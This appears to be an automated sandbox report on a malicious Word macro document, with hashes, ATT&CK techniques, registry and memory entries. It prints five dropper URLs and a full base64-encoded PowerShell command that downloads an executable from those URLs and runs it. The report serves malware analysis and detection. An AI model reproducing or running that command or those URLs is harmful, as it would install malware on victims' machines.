b5ced3fd9b5203a48e44f9df4cb09216c9527f2bdae51b0d7ee1a53e51c12350

Analysis

max time kernel
144s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
10-05-2024 01:08

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General

Target

2c99275ab5366567f8ddb005b1347e58_JaffaCakes118.doc
Size

232KB
MD5

2c99275ab5366567f8ddb005b1347e58
SHA1

1eba4b2478789e30b11cb3c01abe51a83c3b87ab
SHA256

b5ced3fd9b5203a48e44f9df4cb09216c9527f2bdae51b0d7ee1a53e51c12350
SHA512

589a5bf6cf0be6e65ab1b504b78d2df20d7b7f79406e261e82e83bdc8f6e13e4f37cdf81d621da5a0b3e3a27a77ede52586beb35419ca287c6b97f55510b575f
SSDEEP

3072:Aj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkpS2FpTw2yDRj:AHgtEWPsL/aTyT9GkQ2rTw2yDRj

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://rochelldiy.com/ucigm/d_8_kv/

exe.dropper

http://sh.m.sxhpyy.com/special/c_eh6r_m97/

exe.dropper

http://hx.sxheping120.com/zt/ixq_vc2ru_xv6/

exe.dropper

http://tf.sxhpyy120.com/a/k_q_wc6o2/

exe.dropper

http://selectadrive.nl/wp-admin/ek_yve_bgtxm/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2040	1528	powersheLL.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
33	2040	powersheLL.exe
38	2040	powersheLL.exe
44	2040	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1456	WINWORD.EXE
1456	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2040	powersheLL.exe
2040	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2040	powersheLL.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE
1456	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2c99275ab5366567f8ddb005b1347e58_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1456

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABCAHIANQA3AGwAawBrAD0AJwBHAGoAZgBwAHoAdwBpACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAaQBgAFQAWQBwAHIAbwBgAFQAbwBDAGAATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgB4AHYAagBoAF8AZQAgAD0AIAAnAEUAYgB5AHoAJwA7ACQATAAwAGIAbQB1AG0AdQA9ACcARwBkAGUAZwAxAHcAZAAnADsAJABBAGsAdABnADUAcQB1AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARgB4AHYAagBoAF8AZQArACcALgBlAHgAZQAnADsAJABWAGQAdwAyAF8AYwA5AD0AJwBIAGUAZwB4AG8AbwBoACcAOwAkAFYAYQA2AGIAcgA5AGYAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAFUAZQBoADMAagA1AG0APQAnAGgAdAB0AHAAOgAvAC8AcgBvAGMAaABlAGwAbABkAGkAeQAuAGMAbwBtAC8AdQBjAGkAZwBtAC8AZABfADgAXwBrAHYALwAqAGgAdAB0AHAAOgAvAC8AcwBoAC4AbQAuAHMAeABoAHAAeQB5AC4AYwBvAG0ALwBzAHAAZQBjAGkAYQBsAC8AYwBfAGUAaAA2AHIAXwBtADkANwAvACoAaAB0AHQAcAA6AC8ALwBoAHgALgBzAHgAaABlAHAAaQBuAGcAMQAyADAALgBjAG8AbQAvAHoAdAAvAGkAeABxAF8AdgBjADIAcgB1AF8AeAB2ADYALwAqAGgAdAB0AHAAOgAvAC8AdABmAC4AcwB4AGgAcAB5AHkAMQAyADAALgBjAG8AbQAvAGEALwBrAF8AcQBfAHcAYwA2AG8AMgAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbABlAGMAdABhAGQAcgBpAHYAZQAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAGUAawBfAHkAdgBlAF8AYgBnAHQAeABtAC8AJwAuACIAUwBgAFAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABaADkANABkAHAAcgBtAD0AJwBUAHkAaABmAGYAXwAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADUANgBmAG0AeQAwACAAaQBuACAAJABVAGUAaAAzAGoANQBtACkAewB0AHIAeQB7ACQAVgBhADYAYgByADkAZgAuACIAZABPAFcATgBsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQANQA2AGYAbQB5ADAALAAgACQAQQBrAHQAZwA1AHEAdQApADsAJABOAG0AbQAwAG0AaQBoAD0AJwBBAHEAYgBwAGYAOABpACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBrAHQAZwA1AHEAdQApAC4AIgBsAGAARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA2ADgANQA1ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEEAawB0AGcANQBxAHUAKQA7ACQAVgBnADMANABhAHEAbgA9ACcAUABhAG0ANgA0AHAAbQAnADsAYgByAGUAYQBrADsAJABDAGUAYwBjAGoAMAAyAD0AJwBMAGQAXwBxADgANgA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAawBsADQAMABqAHMAPQAnAFoAaAAxAGkANgB0AGkAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8030.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ydnzryus.a51.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1456-10-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-594-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-3-0x00007FFF5536D000-0x00007FFF5536E000-memory.dmp

Filesize
4KB

Download
memory/1456-20-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-8-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-7-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-5-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-0-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-9-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-12-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-11-0x00007FFF12CA0000-0x00007FFF12CB0000-memory.dmp

Filesize
64KB

Download
memory/1456-13-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-14-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-16-0x00007FFF12CA0000-0x00007FFF12CB0000-memory.dmp

Filesize
64KB

Download
memory/1456-15-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-17-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-19-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-18-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-6-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-4-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-21-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-22-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-35-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-36-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-598-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-1-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-23-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-505-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-2-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-569-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-570-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/1456-597-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-595-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/1456-596-0x00007FFF15350000-0x00007FFF15360000-memory.dmp

Filesize
64KB

Download
memory/2040-573-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/2040-72-0x00007FFF552D0000-0x00007FFF554C5000-memory.dmp

Filesize
2.0MB

Download
memory/2040-82-0x000001903AB00000-0x000001903AB22000-memory.dmp

Filesize
136KB

Download